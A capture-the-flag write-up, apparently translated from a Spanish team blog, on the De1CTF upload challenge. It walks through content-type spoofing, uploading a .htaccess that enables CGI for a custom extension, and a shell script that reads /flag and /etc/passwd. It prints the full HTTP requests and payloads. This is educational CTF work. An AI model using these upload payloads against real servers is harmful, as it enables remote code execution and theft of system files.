Abusing .htaccess + CGI to get RCE in application to upload files

Welcome file

NOTE: This is a translated version from my original post published in Mayas CTF Team blog (A Mexican CTF team which I’m member of) You can find the original post (in Spanish) here


This Web challenge was solved during De1CTF from De1ta Club team. The challenge provided an URL and a small hint/information: the server was restarted every 5 min.

The challenge page showed a simple form to upload files. The source code seemed pretty simple, with nothing out of the ordinary or vulnerable.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Cheek in</title>
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <link rel="stylesheet" type="text/css" href="style/css/style1.css">
    <link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<body>
<div class="wrap">
    <div class="container">
        <h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
        <form action="index.php" method="post" enctype="multipart/form-data">
        <input class="wd" type="file" name="fileUpload" id="file"><br>
        <input class="wd" type="submit" name="upload" value="submit">
            <p class="change_link" style="text-align: center">
            <strong>upload your file</strong>
            </br>
            <strong></strong>
            </br>
            <strong></strong>
            </p>
        </form>
    </div>
</div>
</body>
</html>

As a next step, we need to test the functionality of the application itself. If we learn how it works and what it is supposed to do we may be able to guess ways to “break” it. Uploaded a simple .txt file. By default it was set to
Content-Type: text/plain​. After sending the request, a filetype error appeared.

It was a little unusual that a simple .txt file was not accepted by the application. As a next step, I changed the content type to image/gif. After doing so, the application uploaded successfully the file and it was saved in the directory /uploads/<md5>/test.txt

Doing a request to the file URL shows the content of the file. The file URL is the URL that the application assigned to our file with the MD5 hash after we uploaded the file.

As this is a PHP application, I tried to change the filename parameter to contain a .php extension using the intercepted request shown below. The full filename was test.php.gif , but sending the upload request using this filename threw the error filename error. This meant that the file couldn’t be uploaded using a .php string.

To check the previous assumption, what if we tried uploading a file with different combinations of a .php extension to hopefully find one that was allowed? To verify this, Burpsuite Intruder was configured testing al the file extensions from this list. After waiting a few minutes I couldn’t find a successful file upload, as the same filename error showed up on every request. this made me think that any file extension that contained the words ph wouldn’t be allowed by the application.

As a next step, I thought: what if I could inject PHP code inside the file content? if we could do that then maybe we could figure out later how to execute our file with PHP code. Surprisingly, this had a restriction as well. Many strings were not allowed (perl,pyth,ph,auto,etc ) as shown in the screenshot below:

Up to this point we knew the following:

  • It seemed we couldn’t add PHP code to the file as some words/characters were blacklisted.
  • We couldn’t include the word .ph as a file extension.
    So what next? On CTFs it’s sometimes useful to do a quick brute-forcing of files/directories to check what else is there on the server. Note that additional scanning or brute-forcing other than this is not recommended on CTFs, as your IP address may get blacklisted and won’t be useful.

In this case, we found two interesting things: there was a /cgi-bin directory and apparently there was a .htaccess file. Even though we couldn’t access either of these interesting items, it was a clue that lead us to the next step.

root@kali:~/de1ctf# python3 /root/resources/dirsearch/dirsearch.py -u http://129.204.21.115 -e php.swp,php.bak

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php.swp, php.bak | HTTP method: get | Threads: 10 | Wordlist size: 6497

Error Log: /root/resources/dirsearch/logs/errors-20-05-03_00-41-29.log

Target: http://129.204.21.115

[00:41:30] Starting: 
[00:41:40] 403 -  213B  - /.ht_wsr.txt
[00:41:40] 403 -  206B  - /.hta
[00:41:41] 403 -  217B  - /.htaccess-local
[00:41:41] 403 -  215B  - /.htaccess-dev
[00:41:41] 403 -  217B  - /.htaccess-marco
[00:41:41] 403 -  216B  - /.htaccess.bak1
[00:41:41] 403 -  216B  - /.htaccess.orig
[00:41:41] 403 -  218B  - /.htaccess.sample
[00:41:41] 403 -  215B  - /.htaccess.old
[00:41:41] 403 -  216B  - /.htaccess.save
[00:41:41] 403 -  215B  - /.htaccess.txt
[00:41:41] 403 -  216B  - /.htaccess_orig
[00:41:41] 403 -  214B  - /.htaccessBAK
[00:41:41] 403 -  214B  - /.htaccessOLD
[00:41:41] 403 -  214B  - /.htaccess_sc
[00:41:41] 403 -  215B  - /.htaccessOLD2
[00:41:41] 403 -  212B  - /.htaccess~
[00:41:41] 403 -  210B  - /.htgroup
[00:41:41] 403 -  215B  - /.htpasswd-old
[00:41:41] 403 -  215B  - /.htaccess.BAK
[00:41:41] 403 -  216B  - /.htpasswd_test
[00:41:41] 403 -  212B  - /.htpasswds
[00:41:41] 403 -  210B  - /.htusers
[00:41:42] 403 -  217B  - /.htaccess_extra
[00:42:59] 403 -  210B  - /cgi-bin/
[00:43:42] 200 -  962B  - /index.php
[00:43:43] 200 -  962B  - /index.php/login/
[00:44:51] 301 -  236B  - /style  ->  http://129.204.21.115/style/
[00:45:05] 301 -  238B  - /uploads  ->  http://129.204.21.115/uploads/
[00:45:05] 403 -  210B  - /uploads/

.htaccess is a configuration file used to make configuration changes on a per-directory basis. If somehow we could re-write this file and add our own settings/rules, we could potentially modify the rules to allow code execution of certain file extensions.
To verify if we could re-write the .htaccess file, we added the lines below as the content of the file and set the filename parameter as .htaccess

SetHandler server-status  
SetHandler server-info

Apparently our file was uploaded successfully. To verify if the .htaccess rules were being triggered, we requested the /uploads/<md5>/..htaccess​ file and we could see the Apache Server Information page (because SetHandler server-info rule was one of the entries added to the .htaccess file).

A simple .htaccess rule that could be dangerous and bypass the file extension restriction is AddType application/x-httpd-php .mayas, were we specify that any file with the extension .mayas has to be executed as PHP code. However, as it was seen before, any string containing the string ph is being filtered.

Going back to the Apache Server Information page, shows a lot of information that may leak something important to an attacker. Here it was noticed that the CGI module was loaded, so it can be used by Apache and we could potentially abuse it.

CGI can be used to define a way for a web server to interact with external content-generating programs, for example, we could use perl to show HTML content in our web server via CGI. Luckily, we can activate these CGI scripts by creating a rule in .htaccess.
This is a known attack, which helps to bypass file extension restrictions when uploading files. We simply need to write an .htaccess file that declares we will use CGI scripts to execute a specific file extension (that is not being filtered).
Apache documentation here says the following:

There are two steps to allowing CGI execution in an arbitrary directory. First, the cgi-script handler must be activated using the AddHandler or SetHandler directive. Second, ExecCGI must be specified in the Options directive.

Knowing this, a new request was created:

POST /index.php HTTP/1.1
Host: 129.204.21.115
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://129.204.21.115/index.php/login/
x-forwarded-for: localhost
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------2123513974539431969903402973
Content-Length: 384

-----------------------------2123513974539431969903402973
Content-Disposition: form-data; name="fileUpload"; filename=".htaccess"
Content-Type: image/gif

Options +ExecCGI
AddHandler cgi-script .mayas
-----------------------------2123513974539431969903402973
Content-Disposition: form-data; name="upload"

submit
-----------------------------2123513974539431969903402973--

And we could see that our malicious .htaccess file was uploaded successfully:

Now, we need to upload our malicious script with a file extension .mayas. CGI documentation says that we can use any programming language, so we use bash (sh) scripting as sh string is not blacklisted in the file content.

POST /index.php HTTP/1.1
Host: 129.204.21.115
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://129.204.21.115/index.php
x-forwarded-for: localhost
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------14819820161664586594932723
Content-Length: 441

-----------------------------14819820161664586594932723
Content-Disposition: form-data; name="fileUpload"; filename="final.mayas"
Content-Type: image/gif

#!/bin/sh

echo&&echo [ID];id;echo ;echo [FLAG];strings /flag;echo ;echo [BY MAYAS];echo ;cat /etc/passwd;

-----------------------------14819820161664586594932723
Content-Disposition: form-data; name="upload"

submit
-----------------------------14819820161664586594932723--

Now we could request our final.mayas file to get the flag:

Flag: De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}

References: